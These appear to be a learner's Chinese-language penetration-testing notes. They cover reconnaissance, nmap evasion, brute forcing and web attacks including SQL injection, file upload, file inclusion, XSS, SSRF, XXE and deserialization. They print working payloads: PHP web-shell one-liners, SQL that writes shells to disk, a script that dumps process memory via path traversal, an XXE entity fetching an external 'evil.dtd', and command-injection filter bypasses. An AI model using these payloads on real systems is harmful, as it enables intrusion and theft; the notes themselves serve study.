网络安全自学笔记

网络安全自学笔记

自学网安的一点笔记,仅供学习使用

网址信息查询

qlnslookup www.exmaple.com 
dig www.exmaple.com
whois www.exmaple.com 

dig <选项> www.exmaple.com anyany查询网址全部的信息

FOFA的搜索关键字

title="" ; 标题

country="" ;指定国家

region="" ;指定行政区

city=""  ;指定城市

domain=""

icon_hash="" ;网站图标

js_name="" ;网站是否包含js文件

app=""= 可以排除地区使用

&& 联合搜索
(domain="www.example.com"&&region!="HK")&&body="WELCOME TO WWWW"

nmap扫描

https://nmap.org/ nmap官网

nmap 127.0.0.1:直接扫描127.0.0.1地址,默认扫描1000个端口

主机发现:

  1. -sn:简单的ping扫描

  2. -Pn:禁用ping扫描(仅扫描端口)

  3. -PR:APR扫描(局域网)

  4. -PU:UDP ping扫描

  5. nmap -sn 192.168.1.0/24
    
    nmap -Pn 192.168.1.0/24
    
    nmap -PR 192.168.1.0/24
    
    nmap -PU 192.168.1.0/24
    

端口扫描:

  1. -sS:TCP、SYN扫描(默认)
  2. -sT:TCP连接扫描(完成三次握手)
  3. -sU:UDP扫描
  4. -F:快速扫描(前1000个端口)
  5. -p
    1. 范围扫描:-p 1-10000
    2. 指定端口扫描:-p 80,443,22
    3. 指定服务类型扫描:ssh,http,https
    4. -p-:扫描所有端口
  6. --top-ports 100:扫描前100个常用端口

版本和脚本扫描:

  1. 版本检测:
    1. -sV:版本检测
    2. -sV --version-intensity 9:增强版本检测
    3. -sV --version-light:轻量级版本检测
    4. -O:操作系统检测
    5. -O --osscan-guess:增强系统检测
  2. 脚本扫描:
    1. -sC:默认脚本扫描
    2. --scipt=vuln

时间和性能优化:

  1. 时间:
    1. -T0:超慢
    2. -T1:慢
    3. -T2:正常
    4. -T3:默认
    5. -T4:快速
    6. -T:超快(可能丢包)
  2. 性能:
    1. --min-hostgroup 10 --max-hostgroup 50:调整并行主机数
    2. --min-parallelism 10 --max-parallelism 100:调整并行扫描数
    3. 扫描延迟:
      1. --scan-delay 1s:固定延迟
      2. --max-scan-delay 10s:最大延迟
    4. --max-retries 3:重试次数
    5. --host-timeout 30m:调整主机超时时间

输出格式:

  1. -v / -vv:详细输出
  2. --packet-trace:启用数据包跟踪
  3. --reason:显示端口状态原因
  4. --open:仅显示开放的端口
  5. --iflist:显示接口和路由
  6. --stats-every 10s:性能统计

规避和欺骗

  1. 规避

    1. 分片

      1. -f
      2. --mtu
    2. 欺骗源地址

      1. nmap -S spoof_ip -e eth0 192.168.1.1
    3. 伪造MAC地址

      nmap --spoof-mac 00:11:22:33:44:55 192.168.1.1
      nmap --spoof-mac 0  # 随机MAC
      
    4. 数据包长度
      nmap --data-length 100 192.168.1.1

  2. 欺骗选项

    # 诱饵扫描
    nmap -D decoy1,decoy2,decoy3 192.168.1.1
    nmap -D RND:10 192.168.1.1  # 10个随机诱饵
    
    # 源端口指定
    nmap --source-port 53 192.168.1.1
    
    # TTL设置
    nmap --ttl 128 192.168.1.1
    
    # IP选项
    nmap --ip-options "\x01\x07\x00" 192.168.1.1
    
  3. 常用脚本表格

    类别描述示例命令
    auth身份验证相关--script=auth
    broadcast网络广播发现--script=broadcast
    brute暴力破解--script=brute
    default默认脚本集-sC
    discovery服务发现--script=discovery
    dos拒绝服务检测--script=dos
    exploit漏洞利用--script=exploit
    external外部数据查询--script=external
    fuzzer模糊测试--script=fuzzer
    intrusive侵入性脚本--script=intrusive
    malware恶意软件检测--script=malware
    safe安全脚本--script=safe
    version版本检测增强--script=version
    vuln漏洞检测--script=vuln
cdn绕过
  1. 检测cdn

    1. 网址中存在cdn得明显字样

    2. 网站工具探测 http://ping.chinaz.com/ https://ping.aizhan.com/ 推荐

      每个地区ping探测得到得ip都不一样,说明存在cdncdn是根据数据包发送得距离就近分发文件

    3. nslookup:多次测试,如果得到的地址很多就说明有cdn但是不准确

  2. 绕过cdn

    1. 子域名

      www.baidu.com 主域
      
      www.xx.baidu.com 子域
      
      aa.baidu.com  aaa.aa.baidu.com
      
      .edu.gov.nat 三级域名
      
      适用于子域名和主域名要在同一个服务器上 子域名一般不会部署cdn
      
    2. 国外ping – 找网站

      多看一些冷门的国家

      部分cdn的配置不会涉及到国外

    3. 历史dns解析记录 – 找网站

      在配置cdn之前的一些解析记录

    4. 网站的icon图标

      获取网站图标计算hash值,去fofa根据hash值搜索

    5. 网站证书

      拿到证书的序列号(十六进制)转为十进制,去fofa按照证书的十进制值搜索

    6. 绕过工具:https://github.com/Pluto-123/Bypass_cdn

网站敏感文件
  1. .git文件 https://github.com/lijiejie/GitHack
  2. .svn文件 Rip-svn.pl -v -u url/.svn/
  3. .DS_Store文件 python ds_store_exp.py url/.Ds_store
  4. phpinfo泄露
  5. 备份文件泄露
旁站与C段

旁站:同一服务器上的其他网站 通过网站查询 http://ping.chinaz.com/same

C段:IP的C段,192.168.0.1 A段是192 B段是168 C段是0 D段是1 搜索方式:nmap、其他的工具

hydra暴力破解:
hydra -L <"username-list"> -P <password-list> <target-ip> <protocol>

-L/-l:账号字典/账号名

-P/-p:密码字典/密码

target-ip:目标ip

protocol:指定目标的协议名

hydra -l "账号名" -p "密码" 192.168.1.1 MYSQL

-v:显示详情

大写是字典,小写指定账号密码。每个windows都有个账号administrator

wpscan(专用于wordpress搭建的网站)

wpscan --url http://靶机地址/:扫描网站漏洞及版本信息

wpscan --url http://靶机地址/ -e u:扫描用户信息

wpscan --url http://靶机地址/ -e vt:扫描主题

wpscan --url http://靶机地址/ -e vp:扫描插件及漏洞

账号密码爆破:

  • v2:wpscan --url http://靶机地址/ -e u --wordlist /字典路径/passwords.txt
  • v3:wpscan --url http://靶机地址/ -e u --passwords /字典路径/passwords.txt

更新漏洞库:wpscan --update

hashcat(MD5暴力破解)
hashcat -m <密码类型> <加密后MD5密码>

nc(netcat)扫描端口

nc -nv -w 1 -z example.com 1-100

-nv 表示我们扫描的目标是个IP地址不做域名解析

-w 表示超时时间

-z 表示进行端口扫描

msfconsole:渗透控制工具

#执行步骤

search smb
use 375
options
set smbpass Admin@123
set smbuser administrator
set rhost 192.168.1.1
run/exploit

searchsploit

windows对于目录大小写不敏感,linux对于目录大小写敏感

根据网站变换大小写访问的结果可以分析他的系统结构

nikto网站漏洞扫描

scapy定制数据包进行高级扫描

在终端中输入scapy自动开启

定制ARP协议

ARP().display()

###[ARP]###
hwtype=0x1 					硬件类型
ptype=0x800 				硬件地址长度(MAC)
plen=4 						协议地址长度(IP)
op=who-has who-has			查询
hwsrc=00:0c:29:6a:cf:1d 	源MAC地址
psrc=192.168.1.53 			源IP地址
hwdst=00:00:00:00:00:00
pdst=0.0.0.0 				向谁发送查询请求

示例:

定义向111.111.1.1发送ARP请求的数据包

sr1(ARP(pdst="111.111.1.1"))
scapy定制PING包

IP().display()

###[IP]###
vaersion=4 		版本:4,即IPv4
ihl=None 		首部长度
tos=0x0 		服务
len=None 		总长度
id=1 			标识
flage=
frag=0 			标志
ttl=64 			生存时间
proto=hopopt 	传输控制协议 IPv6逐条选项
chksum=None 	首部校验和
src=127.0.0.1 	源地址
dst=127.0.0.1 	目的地址

ICMP().display()

###[ICMP]###
type=echo-request 	类型,标识ICMP报文的类型
code=0				代码
chksum=None			校验和
id=0x0				标识
seq=0x0

注:生成一个ping包需要IP和ICMP组合生成。ICMP()生成ping包的类型,IP()生成ping包的源IP和目标IP

sr1(IP(dst="111.111.1.1")/ICMP(),timeout=1)

scapy定制TCP协议SYN请求

TCP().display()

###[TCP]###
sport= ftp_data		TCP源端口
dport= http			TCP目的端口
seq= 0				32位序号
ack= 0				32位确认序号
dataofs= None		4位首部长度
reserved= 0			保留6位
flags= S			标志域、紧急标志、有意义的应答标志、推、重置链接标志、同步序列号标志、完成发送数据标志。按照顺序排列是:URG、ACK、PSH、RST、SYN、FIN
window= 8192		窗口大小
chksum= None		16位校验和
urgptr= 0			优先指针
options= [] 		选项

sr1(IP(dst="111.111.1.1")/TCP(flags="S",dport=80),timeport=1)半连接

web安全

SQL注入

  • 注释注入:利用sql的注释的特性将一部分的sql语句注释掉
select id, userAccount from learncenter.user where userAccount = "${req.query.params}"

那我们在前端传输参数的时候输入1" or 1=1; %23 这里的%23会被解析成#,那么该语句就会被解析成

select id, userAccount from learncenter.user where userAccount = "1" or 1=1; #";

#后面的都会在sql拼接的时候被解析成注释从而不执行。然后进行sql注入获取数据库内部的数据

提示:这里的#也可以替换为–。但是–需要跟一个空格,不然会报错

  • 联合注入
select id, userAccount from learncenter.user where userAccount = "1" union select 1, 2 from learncenter.user; # 前后返回的数据数量一样
  1. 字符串检测注入

    1. ‘ 在语句后面输入 ’
    2. # 在语句后面输入#
  2. 整形检测注入

  3. 未知列数的情况下,可以根据order bygroup by确定有几列 根据报错回显确认

    ' ORDER BY 1-- 
    ' ORDER BY 2-- 
    ' ORDER BY 3-- 
    ' ORDER BY 4-- 
    

    逐渐增加数字,直到出现错误,当 ORDER BY 5 报错但 ORDER BY 4 正常时,说明查询返回4列错误示例:Unknown column '5' in 'order clause'

  4. group_concat()查询结果全部连接起来

  5. union注入,适合有显示位(能直观的在网站中显示出来)
    1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='库名字'; --+ :查表名称
    1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='库名字' and table_name='表名'; --+:查表中列名称

  6. 布尔盲注,适合无显示位的

  7. 时间注入

    1. 没有显示位,页面也不会根据命令出现明显的回显,具体看网站回显的时间
    2. sleep():延迟执行
    3. if(条件,真,假):条件语句
    4. ascii():转换成ascii码
    5. substring("string",start,length):和mid()一样取出字符串里的第几位开始,长度多少的字符串
  8. 报错注入

    1. 前提是有能有能把报错信息回显到页面的功能,通过一些函数的错误使用爆出来的信息

    2. 报错函数

      1. floor()select * from user where id = 1 and (select 1 from (select count(*), concat((select user()), floor(rand(0)*2))x from information_schema.tables group by x)a);

        8.0以上高版本无效

      2. extractvalue()select * from user where id='a' and (extractvalue(1,concat(0x7e,(select database()),0x7e)));

      3. updatexml()select * from user where id=1 and (updatexml(1, concat(0x7e, (select user()), 0x7e),1));

      4. geometrycollection()select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

      5. multipoint():与geometrycollection()类似

      6. polygon():与geometrycollection()类似

      7. multipolygon():与geometrycollection()类似

      8. linestring():与geometrycollection()类似

      9. multilinestring():与geometrycollection()类似

      10. exp()select * from user where id=1 and exp(~(select * from(select user())a));

  9. 堆叠注入:

    1. ;可以同时执行多个sql语句
  10. 二次注入:

    1. 插入并引用数据库中的恶意数据

      数据库中的恶意数据默认是安全的,在进行查询的时候引用到恶意数据,会引发二次注入

  11. 宽字节注入:

    输入’号的,会被认为是非法字符,会被过滤函数添加"\"给过滤掉,搭配前面的注入方法进行sql注入

    1. 使用条件:
      1. 数据库查询设置位GBK编码
      2. 使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数
    2. 使用方法:在'之前加上%81 利用gbk编码进行’的转义
  12. HTTP请求头注入

    1. user-agent' and updatexml(1, concat('~', (select table_name)), 1) and '
    2. referer:和上面类似
  13. phpmyadmin页面:

    1. SHOW VARIABLES LIKE 'secure_file_priv';:查看写入权限,若值为空,可写入任意目录;若为 /tmp/,仅限该目录,之后执行 SELECT '<?php system($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';写入一句话木马,再搭配蚁剑等工具配合

    2. 利用 SELECT load_file('/etc/passwd'); 读取系统文件

    3. SHOW VARIABLES LIKE '%datadir%';查看数据库路径

    4. 执行 SHOW GRANTS; 确认是否为 root 或高权限账户

    5. 通过日志记录 PHP 代码生成后门:

      show variables like "general_log%"; -- 查看日志权限是否开启
      
      SET GLOBAL general_log = 'ON';  -- 设置打开日志
      SET GLOBAL general_log_file =  "C:\\phpStudy\\www\\shell.php"; -- 日志记录的位置
      SELECT '<?php eval($_POST["cmd"]); ?>'; -- 写入一句话木马
      select "<?php system($_REQUEST[cmd]);?>"; -- 系统执行命令
      
      show variables like "general_log%"; -- 来验证上述修改是否成功 
      
一句话木马

<?php @eval($_POST['cmd']);?>

文件上传
  1. 文件后缀绕过:修改文件的后缀为js或者后端认可的类型

  2. mime类型绕过:将数据包中的Content-type:image/jpeg修改成后面认可的类型

  3. .htaccess文件:上传文件解析规则配置文件AddType application/x-httpd-php .php .php3 .php4 .jpg。将.php .php3 .php4 .jpg这种格式的文件当作php文件来

  4. 文件大小写变换

  5. windows:如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理不会检测后缀名,且保持::$DATA之前的文件名。可以利用这个特性来进行文件上传

    防御方法:文件写入的时候过滤掉::$DATA

  6. 文件名双写:防止去除文件名php,双写成pphphp

  7. 00截断

    1. 实现条件

      1. php版本 < 5.3.4
      2. php.ini的magic_quotes_gpc为off
    2. 在添加的路径上添加符号%00。例如路径是../upload/可添加为../upload/test.php%00

    3. 绕过WAF,可以修改数据包中的十六进制符号修改为00。路径中添加;,然后将;的十六进制修改为00

      路径在form-data中的也可以适用这种情况

  8. 条件竞争

    1. 上传文件后进行判断,如果文件格式符合情况则重命名留下,反之删除。

      后端并发处理多个请求

      假如用户a上传了木马文件,代码执行期间,用户b访问了上传的文件,会出现三种情况

      1. 访问时间点在上传成功之前,没有此文件
      2. 访问时间点在刚上传成功但还没有进行判断,该文件存在
      3. 访问时间点在判断之后,文件被删除,没有此文件
    2. 实现

      抓包上传数据包和访问的数据包进行爆破。通过系统的文件占用导致文件暂时不能被删除的特性,进行对文件进行访问,然后对漏洞进行利用

      在无线爆破的文件中写入以下代码

      <?php ​ `$f=fopen("test.php", "w");` ​ `fputs($f, '<?php @eval($_POST['cmd']);?>');`

      ? >

      这个是打开一个文件,然后将一句话木马写入

      这样就通过访问后门文件,执行以上逻辑然后在后面的文件中写入一句话木马,在webshell工具连接

  9. 图片马:

    1. 制作方法:

      1. copy + 图片名字/b + 脚本名字/a 生成名字

      2. 将图片用记事本打开。保留前三行其他的全部删除,在最后加上木马即可

        代码可选其他位置,中间或者结尾

    2. 利用文件包含漏洞,将图片马解析为代码执行,再用webshell工具连接

    3. 二次渲染

      将原本的上传的图片的内容保存,后端校验成功之后按照原来的图片重新生成一个新的图片再上传到服务器

      1. 绕过方式:先上传一个正常的图片,查找没有被二次渲染的位置,在没有被二次渲染的位置插入一句话木马

        注意插入语句尽量查找偏后的位置

    4. move_uploaded_file函数特性:会忽略掉文件后的/.,所以上传的时候可以在文件路径后面添加一个/.。例如:./upload/file.jpg/.

    5. 数组上传:修改数据包

    6. 用js执行php代码:<script language='php'>eval($_POST['v']);</script>

      用于绕过文件php内容的检测

解析漏洞

https://blog.csdn.net/u011781521/article/details/58630742

  1. IIS
  2. nginx
  3. apache

文件包含

将文件设置为动态变量去引用文件,在引用的时候未对文件进行过滤,检查。极易造成文件包含漏洞的产生

常见的文件包含函数:

  1. include():代码执行到的时候才会对文件进行包含,发生错误的时候给出警告然后继续向下执行
  2. include_once():功能和include()相同,区别在于重复调用同一文件的时候,程序只调用一次
  3. require():和include()的区别在于,如果该函数执行错误,函数会输出错误信息,并终止脚本的运行
  4. require_once:功能和require()相同,区别在于重复调用同一文件的时候,程序只调用一次
  5. highlight_file()、show_source():对包含的文件的语法高亮显示
  6. readfile()、file_get_contents():函数读取一个文件,并写入到输出缓冲区
  7. fopen():打开一个文件或者url

应用条件:allow_url_fopenallow_url_include开启的情况下才能

phpStudy的环境中

远程文件包含:如果包含php等相关可解析的文件结尾,那么最后解析的是远程服务器的文件解析结果。要想解析成本地的,要将后缀改为不可解析的文件命名或者.txt

/etc/passwd

该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)

/proc/self

proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据

/proc/self/cmdline

该文件包含的内容为当前进程执行的命令行参数

/proc/self/mem

/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容

/proc/self/maps

/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址

flask-session结构

flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号“.”来进行分隔。flask_session默认session的储存在用户Cookie中。但也可以指定存储在数据库、缓存中间件、服务器本地文件等之中

import re
import requests

maps = open("./test.txt")  # 打开名为 'test.txt' 的文件并赋值给变量 maps
b = maps.read()  # 读取文件内容并赋值给变量 b
lst = b.split(
    "\\n"
)  # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。

for line in lst:  # 遍历列表 lst 中的每一行内容
    if (
        "rw" in line
    ):  # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写
        addr = re.search(
            "([0-9a-f]+)-([0-9a-f]+)", line
        )  # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中
        start = int(
            addr.group(1), 16
        )  # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 start
        end = int(
            addr.group(2), 16
        )  # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 end
        print(start, end)  # 打印起始地址和结束地址

        # 构造请求URL,用于读取 /proc/self/mem 文件的特定区域
        url = f"http://61.147.171.35:65281/info?file=../../../proc/self/mem&start={start}&end={end}"

        # 发送 GET 请求并获取响应
        response = requests.get(url)

        # 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEY
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)

        # 如果找到了 SECRET_KEY,则打印并结束循环
        if secret_key:
            print(secret_key)
            break

通过**/proc/self/maps查找偏移量,去/proc/self/mem**中寻读取内存中的内容

伪协议:

file=file://

file://127.0.0.1/include.php?filename=file://文件路径

php://

  • php://filter --> php://filter/[使用方法]=convert.base64-encode/resource=文件路径

    用于读源码

    显示结果以base64加密的数据呈现,解密之后为源码

    • 使用方法:

      • read

      • resource

      • write

      • filter

    • ?file=php://filter/convert.base64-encode/resource=index.php

      ?file=php://filter/[read]=convert.base64-encode/resource=index.php

    • convert.iconv.*格式

      • convert.iconv.<input-encoding>.<output-encoding> / convert.iconv.<input-encoding>/<output-encoding>

        ?filename=php://filter/convert.iconv.a.b/resource=check.php
        UCS-4*
        UCS-4BE
        UCS-4LE*
        UCS-2
        UCS-2BE
        UCS-2LE
        UTF-32*
        UTF-32BE*
        UTF-32LE*
        UTF-16*
        UTF-16BE*
        UTF-16LE*
        UTF-7
        UTF7-IMAP
        UTF-8*
        ASCII*
        EUC-JP*
        SJIS*
        eucJP-win*
        SJIS-win*
        ISO-2022-JP
        ISO-2022-JP-MS
        CP932
        CP51932
        SJIS-mac(别名:MacJapanese)
        SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
        SJIS-Mobile#KDDI(别名:SJIS-KDDI)
        SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
        UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
        UTF-8-Mobile#KDDI-A
        UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
        UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
        ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)

        示例:?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

  • php://input 输出流

    用于执行php代码

    抓包转换参数,将post请求中的数据作为PHP代码执行

  • zip:// --> zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt 压缩流

    • zip://中只能传入绝对路径。
    • 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
    • 只需要是zip的压缩包即可,后缀名可以任意更改。
    • 相同的类型还有zlib://和bzip2://

    可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行

  • data:// 协议包含

    data://text/plain,<?php phpinfo();?>
    //如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
    data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=	
    如果加密之后多个+,因为url中+默认为连接符号,可以将?>去掉同样也能执行
    

    data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行

  • phar://协议包含

    与zip://类似,同样可以访问zip格式的压缩包内容

apache日志记录:

  • 前提是知道日志的路径

  • 通过访问攻击的时候日志记录的访问操作以及攻击时的payload,在通过文件包含访问日志中记录的木马。最后执行攻击代码

  • php的日志是否开启可以通过访问phpinfo()确认是否开启

session包含:

  • session会记录一些账号的内容,通过账号中包含一些特殊账号<?php @eval($_POST['cmd']);?>

  • 通过文件包含漏洞包含记录session的文件

  • 查找session存储位置 session_save文件

    • phpinfo()文件

    • 默认位置:/var/lib/php/session

    • phpstudy默认位置:E:\phpStudy\PHPTutorial\tmp\tmp

      默认session文件中,username后面就账号

  • session文件拼接:sess+开发者工具中存储的值

文件包含绕过:

  1. %00截断:路径的结尾包含%00

  2. 路径长度截断:/./././././././,不断添加垃圾字符把路径截断

    windows 路径长度为256

    linux 路径长度为4096

  3. 基于共享文件夹:文件包含服务器上的共享文件

    samba服务

同一服务器,不同端口下,只要能找到文件的上传地址,可以用一个网站去包含另一个网站的文件(推荐绝对路径)

cms的文件包含漏洞:

  • cms:内容管理系统,用于前端和后端二次开发的系统

XSS跨站脚本

在网站中嵌入恶意脚本代码,客户端攻击

  1. 存储型(持久性xss攻击):恶意代码存储到了相关程序的后端服务器上
    • 极易出现的位置:用户注册,留言板,上传文件的文件名处,管理员可见的报错信息,聊天框,客服,问题反馈区,邮件信箱
    • 存储型建议使用console.log()来测试,避免其他形式的xss注入造成网站崩溃
    • 满足条件:能够插入数据,插入的js数据能够正常执行
    • 用来获取cookie
  2. 反射型(非持久xss攻击):攻击者将构造好的payload注入(修改后的url),提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。常见于搜索框等地方
  3. DOM-based型(非持久xss攻击):纯前端操作,javascript伪协议javascript事件

给标签中的<input vlaue="asdasdas">中的部分标签闭合后写成<input value="" onclick="alter(1);">

限制代码的长度的话,可以使用<script src=""></script>src引入相关js脚本

CSFR跨站请求伪造

伪造请求,欺骗目标点击,当用户点击请求之后,攻击完成。所以CSFR攻击也称为one click攻击

实现条件苛刻:同一浏览器、必须是登录状态

站内:

正常访问:http://www.example.com/pay?user=xx&password=1234567

修改过后:http://www.example.com/pay?user=hack&password=1234567

此时访问的时候就会带着第一次的cookie/session去访问第二次的地址,这个时候浏览器就认为第二次的访问是由用户发出的正常访问请求

站外:

在一个网站中,假设构造一个请求去访问百度,此时就会带着原站点的cookie/session去访问百度,此时百度这个网站就获取了另一个网站的cookie/session,如果百度是钓鱼网站的话,那么信息将会泄露

检测:

抓取一个正常的请求数据包,去掉Referer字段后再重新提交,如果提交还有效,那么基本上可以确定存在CSRF漏洞。如果请求中有token的话,这种检测并不是确定的

burpsuite中有csrf检测模块

绕过:

修改自己服务器上的文件名为ip或地址

防御:

  1. 增加token验证机制
  2. 验证HTTP Referer
  3. http头中添加自定义属性
  4. 同源策略

SSRF服务端请求伪造

是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统(因为是从内部系统访问的,所以可以通过它攻击往外无法访问呢内部系统,也就是把目标网站当中间人)

形成原因:该网站提供了从外部获取资源的权限,且没对来源的数据包做过滤

正常访问:

www.example.com/xxx.php?image=URL

修改后访问:

www.example.com/xxx,php?image=www.hack.com/1.jpg,如果后端未对该请求做过滤,那么就会导致该服务器向www.hack.com/1.jpg发送请求(www.hack.comwww.example.com的内网地址)

如果存在该内网地址就会返回1xx,2xx等相关状态码,不存在就会返回其他的状态码

用途:

  1. 可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息(服务版本、详情信息)
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网web应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的web应用,主要是使用get参数就可以实现攻击
  5. 利用file协议读取本地文件

判断是否存在:

  1. 能够对外发起网络请求
  2. 从远程服务器请求资源(upload from url,import & export rss feed)
  3. 数据库的内置功能
  4. webemail收取其他邮箱邮件(pop3/imap/smtp
  5. 文件处理,编码处理,属性信息处理(ffpmg,imageMaic,DOCX,PDF,XML处理器)

和远程包含文件的区别:这个只是引入文件,并不会对文件进行解析,而远程包含文件则会对文件进行解析

命令执行漏洞(RCE)

应用有时候会执行系统命令的函数。当用户能控制参数的时候,就可以将恶意系统拼接到正常命令中,从而造成执行命令攻击

执行条件:

  1. 应用调用执行系统命令的函数
  2. 将用户输入作为系统命令的参数拼接到命令行中
  3. 没有对用户输入进行严格的过滤

远程命令执行漏洞:

  1. 概念:用户通过浏览器提交执行操作命令,由于服务端没有对函数做过滤,就执行了恶意命令

远程代码执行漏洞

  1. 概念:代码执行漏洞也叫代码注入漏洞,指用户通过浏览器提交执行恶意脚本代码,执行恶意构造的脚本代码

linux系统命令连接符号;,windows命令连接符号&echo ”aaa“;ifconfigecho "aaa" & ipconfig

绕过方式:

  1. 连接符号:"" '' cat /e't'c/p'a's's'wd
  2. 模糊匹配:? c'a't /e?c/pa?s?d
  3. cat$a:未初始化变量都是null cat$a /etc$a/passwd$q
  4. base64加密绕过:echo "31sada34dada312ca" | xxd -r -q|bash ==> cat /flag
  5. 反斜杠:ca\t fl\ag

逻辑漏洞

程序逻辑不严或者逻辑太复杂,导致一些逻辑分支不能正常处理或处理错误

XXE漏洞

xml外部实体注入,当允许引用外部实体时,xml数据在传输中有不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站

xml是用来传输和存储数据的

xml语法:

<?xml version='1.0' encoding='utf-8'?> //声明xml解析器的版本来解析

<!DOCTYPE person[
<!ENTITY name "join"> //xml定义变量 <!DOCTYPE 根元素名称[<!ENTITY 变量名 "值">]>
]>

<!ENTITY %变量名 "<!ENTITY 变量名 "值">"> //参数实体 -- 外部实体注入漏洞会用

<person> //根元素,名字为自定义
    <name>test</name> //子元素,名字为自定义
    <url>http://</url>
    <ch>&name</ch> //调用变量名
</person>

" " ' ' & <>不允许直接出现在xml的文档中,因为xml解析的时候会分辨不清

%变量名:是在定义变量的时候引用变量

&变量名:是在文本中引用变量

要想使用xml执行系统命令,需对方开启expect扩展 <!ENTITY f SYSTEM "expect://whoami">

php伪协议读取系统中的文件:<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">

恶意引入外部实体:外部实体中引入其他的文件<!ENTITY %d SYSTEM "http://abc.com/evil.dtd">,也可以使用伪协议

反序列化漏洞

序列化:将变量或对象转换成字符串的过程

反序列化:将序列化后的字符串转换成变量或对象的过程

相关函数:

  1. serialize()

    class chybeta {
        var test = "123";
    }
    serialize($chybeta);
    
    //序列化之后
    O:7:"chybeta":1:{s:4:"test";s:3:"123";}
    

    O:表示的是存储的是对象,a表示的是数组

    7:对象名称的长度有7个字符

    "chybeta":表示对象的名称

    1:表示有一个值

    s:表示字符串

    4:表示该字符串的长度

    "test":表示字符串的名称

  2. unserialize()

    class chybeta {
        var test = "123";
    }
    
    $class = O:7:"chybeta":1:{s:4:"test";s:3:"123";}
    
    $serializeClass = unserialize($class);
    echo $serializeClass;
    
    /* 
    反序列化之后
    class chybeta {
        var test = "123";
    }
    */
    

产生原理:

  1. 应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的
  2. 当传给unserialize()的参数可控的时候,用户可以精心注入构造的payload。当反序列化的时候就有可能触发对象中的一些魔术方法,造成意想不到的危害

构造反序列化类的时候,文件上方必须存在该类,不然调用的是自己产生的一个新类

构造恶意反序列化参数:

  1. 在反序列化的值中添加一些恶意构造的参数
  2. 构造对象的一些魔法函数(类似构造函数以及vue的生命周期函数)(反序列化的时候不会触发对象创建时执行的函数)
  3. 反序列化只需要构造出和题目中类似结构的类,其中的命名和变量都需一致,函数还有魔法函数不用构造。反序列化之后,他自动会执行原类里的函数

java的序列化最后的结果类似乱码,通常传输都以base64加密后的结果传输

rO0AB开头的是java序列化的经过base64加密数据。aced开头是java序列化的16进制

WAF

web应用防护系统(网站应用及入侵防御系统),针对http/https的安全策略

WAF识别:

  1. nmap:nmap -p 80 --script http-waf-fingerprint http://url
  2. wafw00f:wafw00f url
  3. 第三放软件识别

判断是否存在WAF:查看是否出现拦截页面

绕过:

  1. 服务器特性

    1. %特性(ASP+IIS)
      union s%elect:WAF层解析的是s%elect但是在ASP+IIS环境中s%elect的解析结果就是select

    2. %u特性(ASP+IIS 和 ASPX+IIS)
      iis服务器支持对unicode的解析,例如:s%u006c%u0006ect,这种字符WAF层解析为s%u006c%u0006ect,但是在服务器中就会被解析为select

    3. 另类%u特性(ASP+IIS)

      unicode在iis解析之后会被转换成multinyte但是转换过程中会出现:多个widechar会有可能转换为同一个字符

      %u0065-> e,%u00f0 -> e
      s%u0065lect -> select s%u00f0lect -> select,WAF层可能识别%u0065,但是识别不了%u00f0

    4. apache畸形method
      在get请求中,GET可以被替换成任意字符

      TEST /index.html?id=1 HTTP/1.1
      HOST: 127.0.0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0)
      Accept: text/html,application/xhtml+xml
      
  2. 应用层特性

    1. 大小写/关键字替换
      id=1 UnIoN/**/SeLeCT 1,user()
